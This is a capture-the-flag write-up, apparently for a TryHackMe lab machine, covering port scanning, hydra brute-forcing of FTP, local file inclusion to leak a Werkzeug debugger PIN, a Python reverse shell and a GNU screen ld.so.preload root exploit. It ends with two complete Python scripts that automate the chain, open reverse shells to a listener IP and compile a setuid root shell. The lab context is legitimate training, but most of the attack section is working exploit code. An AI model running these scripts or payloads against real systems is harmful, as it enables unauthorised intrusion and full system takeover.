A small team of developers are hiring

Introduction

A small team of IT developers are looking to hire a new candidate. However, not everyone is taking security too serious at this small startup. Can you discover and exploit the vulnerabilities? If you are lucky, you might find a shortcut or two!

Getting the first flag

I have added the IP from THM to my hosts file to make things easier when the IP change between machine resets

Let’s start with a simple nmap scan:

nmap -sC -sV -p- developersrus.local  

This give us a lot of useful information to look at:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-02 06:35 EST
Nmap scan report for developersrus.local (10.10.66.129)
Host is up (0.065s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE          VERSION
21/tcp   open  ftp              vsftpd 3.0.3
22/tcp   open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4a0a2c03fcce298f542f4d8b04dec3d (RSA)
|   256 aabd8a864014e3a2fa33527381cc863b (ECDSA)
|_  256 511935c2e805a3f611c1fdd4a8b5d22c (ED25519)
25/tcp   open  smtp             Postfix smtpd
|_smtp-commands: 2s.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=2s
| Subject Alternative Name: DNS:2s
| Not valid before: 2022-12-15T18:45:09
|_Not valid after:  2032-12-12T18:45:09
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http             Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http             nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
8081/tcp open  blackice-icecap?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.8.10
|     Date: Mon, 02 Jan 2023 11:36:26 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.8.10
|     Date: Mon, 02 Jan 2023 11:36:26 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 18
|     Connection: close
|     Under construction
|   SIPOptions: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('SIP/2.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|     </html>
|   WWWOFFLEctrlstat: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad HTTP/0.9 request type ('WWWOFFLE').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data.
Service Info: Host:  2s.home; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.18 seconds

We have at least three different web-services and a couple other services we might be able to use to get some information from.

A long detour

In my initial scan of the machine, and the subsequent scans, I didn’t get anything for port 25. I even tried connecting to it when I later found a email address, but nothing. I don’t know what happened, but after I paid for THM, it started working. Not sure if that’s a coincidence, or if it’s related.

This caused me to exhaust several theories that later turned out to be completely wrong, and a couple that turned out to be related to the correct path. After spending days staring at various web application brute-forcing tools, and multiple attempts to brute-force FTP and SSH login, I started doing some OSINT of the room creator and the other solvers. When I learned that at least two of the solvers work in the same company, I got renewed motivation and kept going.

A bit further down the line I decided to upgrade THM, and when I did a new nmap scan (because I didn’t get anywhere), the SMTP server was suddenly there.

Continuing with all information in place

Looking at the various websites hosted, two of them are mostly empty. Port 80 only shows a “Work in progress” picture and port 8081 only “Under construction”.

Port 8080 however have some information for us:

From what we see here we get some information:

  • Three different users, one of them a very busy person (with a poor password maybe?)
  • An email address, which might hint to email being available (remember I didn’t have access to the SMTP-server when I first noticed this)
  • A list of important words, maybe other words here are important as well?

Let’s see if we can find anything else using feroxbuster:

echo "http://developersrus.local/\r\nhttp://developersrus.local:8080/\r\nhttp://developersrus.local:8081/" | feroxbuster --stdin -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 200 -e -f --thorough --parallel 3

Let’s also let nikto have a look:

nikto --url http://developersrus.local/
nikto --url http://developersrus.local:8080/
nikto --url http://developersrus.local:8081/

We get several directories, some with directory listing enabled, and some which just return forbidden. robots.txt are empty on all ports, and /test give us nothing. This is where I started doing intense brute-forcing. There’s nothing there.

The Werkzeug Console on /console is interesting, but it requires a pin. It is possible to calculate the PIN value if you have the correct information, which we don’t have. At least not yet.

Can we log in somewhere?

The FTP server might contains some juicy data, like the source code for the Python application. The findings during my OSINT search made me believe that Python would be a vital part of this box. Testing for anonymous access is the first step, but as expected this hard box wasn’t that easy.

Maybe we can use the SMTP-server for something? Let’s get hydra to enumerate some users for us:

hydra smtp-enum://developersrus.local:25 -L /usr/share/seclists/Usernames/Names/names.txt

Let’s use cewl to create a custom wordlist using the words we find on the one page with content:

cewl http://developersrus.local:8080/ >> cewl.txt

Using the interesting usernames from above, andy, erik, and ray combined with our custom password list we can attempt a relatively quick brute-force on the FTP server:

echo "andy\r\nerik\r\nray" >> users.txt
hydra ftp://developersrus.local -L users.txt -P cewl.txt

Let’s use it!

And there it is, the first flag.

On to flag number two

Looking around on the FTP server there’s not much of interest, except for one file: /dev/src/apps/Linux/app.

After downloading it (get app), we can check the type using file:

Given that we know the server is running a Python application, it’s easy to think that this is compiled Python code. Another big hint can be found in the FTP directory where we found the app executable:

Following the guide from HackTricks we can use pyi-archive_viewer to decompile it:

I never got uncompyle6 to work, and from the GitHub issues for the tool it looks like the Python version used is too new. So I tried something easier: strings app.pyc.

Some very interesting information to be found in a couple simple strings:

admin_debug_fetch_remotely

Testing /admin_debug_fetch_remotely give us yet another blank page, unless we try a POST request:

It looks like the third string above is a required parameter. Looking at the URL and the name of the parameter, it’s starting to smell LFI. Let’s try using get_my_file_remotely=app.py:

Get something useful

Time to find something useful! Using Burp Intruder with the parameter value as the only variable in a Sniper attack, and the payload fetched from SecLists, filtering on HTTP status 200, we get a lot of files to read through:

One file, /proc/self/fd/2 looks very interesting, what’s that at the top? It’s the flag!

The third flag is next

Continuing down the same email we can see that they are aware the the Werkzeug console probably should not be exposed.

Looking further down, we even get the PIN-code!

Entering it in the Werkzeug console, found on http://developersrus.local:8081/console opens the console for us.

With a Python console available, it’s time to get a shell!

We can do this using a basic Python reverse shell:

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.94.182",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");

But before sending it we have to a listener using nc on our attacking machine: nc -lvnp 443

That was it, we’re in! And the third flag was right there waiting for us:

Finishing with the last flag

After running tools like LinPEAS and LinEnum I got a couple exploits suggested. Even one that LinPEAS was 95% sure would get me root. This machine belongs to the other 5%.

After trying the almost guaranteed and probable exploits, I was left with what was marked as “less probable”, like this one.

But given that I also found it on the SUID list, it was definitely worth a try.

We can then use searchsploit to copy the exploit, because I’m lazy I just copied it to the same place I already hosted the linpeas.sh file.

Running it did throw some errors, but it also worked:

A quick look inside /root gave us the fourth and final flag.

Other interesting information

erik does have a SSH key in his home folder, he’s the only user that has this. But both him and andy are prohibited from logging on using SSH. I did copy his SSH key to ray, so I could log in as him and have a look around, but that didn’t give me anything else interesting.

In conclusion

This was a very fun and interesting machine (once I got past the initial frustration when I couldn’t get anywhere due to the missing SMTP and slow brute-force), with a lot of different elements.

Scripting it

To help improve my Python skills, i decided to write a script to automate the exploitation. The following script will give you a shell as erik:

#!/usr/bin/python3

import urllib.parse
import subprocess
import requests
import sys
import re


class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def start_listener(port):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Starting listener on port {port}')
    return subprocess.Popen(['nc', '-lnp', port])

# https://stackoverflow.com/a/2988680
def match_last(orig_string, re_prefix, re_suffix):
    re_lookahead= re.compile(f"{re_prefix}(?={re_suffix})")
    match= None
    for match in re_lookahead.finditer(orig_string):
        pass
    if match:        
        re_complete= re.compile(re_prefix + re_suffix)
        return re_complete.match(orig_string, match.start())

    return match

def get_pin(target):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Fetching Werkzeug Console PIN')

    result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
    }, data='get_my_file_remotely=/proc/self/fd/2')

    if (result.status_code != 200):
        print(f'{bcolors.WARNING}[-]{bcolors.ENDC} Unable to fetch /proc/self/fd/2, trying /var/mail/erik')
        result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'close',
        }, data='get_my_file_remotely=/var/mail/erik')
    
    pin = match_last(result.text, '\* Debugger PIN: ', '([0-9]{3}-[0-9]{3}-[0-9]{3})').group(1)

    print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} PIN is {bcolors.BOLD}{str(pin)}{bcolors.ENDC}')
    
    return pin

def create_shellcode(listener_ip, listener_port):
    return f'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{listener_ip}",{listener_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");'

def get_secret(target):
    result = requests.get(f'http://{target}:8081/console', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
    })
    
    return re.search(r'SECRET = "(\w+)";', result.text).group(1)

def send_shell(target, pin, listener_ip, listener_port):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Unlocking console and sending payload')

    secret = get_secret(target)
    shell = create_shellcode(listener_ip, listener_port)
    
    session = requests.Session()

    session.get(f'http://{target}:8081/console?__debugger__=yes&cmd=pinauth&pin={urllib.parse.quote(pin)}&s={urllib.parse.quote(secret)}', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Connection': 'close',
    })

    print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Console unlocked, triggering shell')

    session.get(f'http://{target}:8081/console?__debugger__=yes&cmd={urllib.parse.quote(shell)}&frm=0&s={urllib.parse.quote(secret)}', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Connection': 'close',
    })

    return True

def main():
    if len(sys.argv) != 4:
        print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} usage: {sys.argv[0]} <target> <listener_ip> <listener_port>')
        print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} eg: {sys.argv[0]} 10.10.1.2 192.168.119.140 443')
        sys.exit(-1)

    target = sys.argv[1]
    listener_ip = sys.argv[2]
    listener_port = sys.argv[3]

    try:
        # Start listener
        listener = start_listener(listener_port)
        # Get Werkzeug pin using LFI
        pin = get_pin(target)
        # Authenticate with PIN and send shell
        send_shell(target, pin, listener_ip, listener_port)

        listener.communicate()

        # Close listener when we're done
        listener.stdin.close()
        listener.terminate()
        listener.wait(timeout=0.2)

    except KeyboardInterrupt:
        sys.exit(1)      

if __name__ == "__main__":
    main()

Notice the warning about /proc/self/fd/2, that only works on the first run. For subsequent runs we have to fetch the email directly, which we of course could have done anyway. I kept it in just to write some more code.

But why not go all the way to root and get a root shell right away? Let’s do that!

#!/usr/bin/python3

import urllib.parse
import subprocess
import threading
import requests
import socket
import sys
import re


class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def create_root_exploit(listener_ip, listener_port):
    return '''cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
python3.6 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
''' % (listener_ip, listener_port)

def get_root(conn, listener_ip, listener_port):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Sending root exploit and triggering reverse shell')
    root_exploit = create_root_exploit(listener_ip, listener_port)
    conn.send(root_exploit.encode())

def start_listener(port):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Starting listener on port {port}')
    return subprocess.Popen(['nc', '-lnp', port])

def start_staged_listener(ip, port):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Starting initial listener on port {port}')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    s.bind((ip, int(port)))
    s.listen()

    conn, addr = s.accept()
    print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Received connection from {bcolors.BOLD}{str(addr)}{bcolors.ENDC}')
    ans = conn.recv(1024).decode()
    print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Initial shell is {bcolors.BOLD}{str(ans)}{bcolors.ENDC}')
    s.close()

    # Start listener
    listener = start_listener(port)

    # Get root shell
    get_root(conn, ip, port)

    listener.communicate()

    # Close listener when we're done
    listener.stdin.close()
    listener.terminate()
    listener.wait(timeout=0.2)


# https://stackoverflow.com/a/2988680
def match_last(orig_string, re_prefix, re_suffix):
    re_lookahead= re.compile(f"{re_prefix}(?={re_suffix})")
    match= None
    for match in re_lookahead.finditer(orig_string):
        pass
    if match:        
        re_complete= re.compile(re_prefix + re_suffix)
        return re_complete.match(orig_string, match.start())

    return match

def get_pin(target):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Fetching Werkzeug Console PIN')

    result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
    }, data='get_my_file_remotely=/proc/self/fd/2')

    if (result.status_code != 200):
        print(f'{bcolors.WARNING}[-]{bcolors.ENDC} Unable to fetch /proc/self/fd/2, trying /var/mail/erik')
        result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Connection': 'close',
        }, data='get_my_file_remotely=/var/mail/erik')
    
    pin = match_last(result.text, '\* Debugger PIN: ', '([0-9]{3}-[0-9]{3}-[0-9]{3})').group(1)

    print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} PIN is {bcolors.BOLD}{str(pin)}{bcolors.ENDC}')
    
    return pin

def create_initial_shellcode(listener_ip, listener_port):
    return f'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{listener_ip}",{listener_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");'

def get_secret(target):
    result = requests.get(f'http://{target}:8081/console', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
    })
    
    return re.search(r'SECRET = "(\w+)";', result.text).group(1)

def send_shell(target, pin, listener_ip, listener_port):
    print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Unlocking console and sending payload')

    secret = get_secret(target)
    shell = create_initial_shellcode(listener_ip, listener_port)
    
    session = requests.Session()

    session.get(f'http://{target}:8081/console?__debugger__=yes&cmd=pinauth&pin={urllib.parse.quote(pin)}&s={urllib.parse.quote(secret)}', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Connection': 'close',
    })

    print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Console unlocked, triggering shell')

    session.get(f'http://{target}:8081/console?__debugger__=yes&cmd={urllib.parse.quote(shell)}&frm=0&s={urllib.parse.quote(secret)}', headers={
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Connection': 'close',
    })

    return True

def main():
    if len(sys.argv) != 4:
        print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} usage: {sys.argv[0]} <target> <listener_ip> <listener_port>')
        print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} eg: {sys.argv[0]} 10.10.1.2 192.168.119.140 443')
        sys.exit(-1)

    target = sys.argv[1]
    listener_ip = sys.argv[2]
    listener_port = sys.argv[3]

    print(f'{bcolors.OKBLUE}[i]{bcolors.ENDC} Attacking {bcolors.BOLD}{str(target)}{bcolors.ENDC}')

    try:
        # Start initial listener
        x = threading.Thread(target=start_staged_listener, args=(listener_ip, listener_port))
        x.start()
        # Get Werkzeug pin using LFI
        pin = get_pin(target)
        # Authenticate with PIN and send shell
        send_shell(target, pin, listener_ip, listener_port)

    except KeyboardInterrupt:
        sys.exit(1)      

if __name__ == "__main__":
    main()